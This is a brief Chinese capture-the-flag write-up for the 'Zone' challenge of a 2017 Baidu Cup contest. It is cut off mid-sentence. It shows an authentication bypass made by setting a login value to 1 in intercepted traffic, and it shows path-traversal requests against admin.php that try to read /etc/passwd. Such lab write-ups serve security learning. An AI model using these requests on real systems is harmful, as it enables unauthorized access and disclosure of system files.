“百度杯”CTF比赛 2017 二月场--Zone

提示未登录 BP抓包修改login=1，成功登录 点击manage抓包，修改login=1，返回包中发现有个302页面跳转 尝试访问系统配置文件 GET /manages/admin.php?module=/etc/passwd&name=  无回显 GET /manages/admin.php?module=../../../etc/passwd&name=  无回显 怀疑过滤了../  尝试用

>>阅读原文<<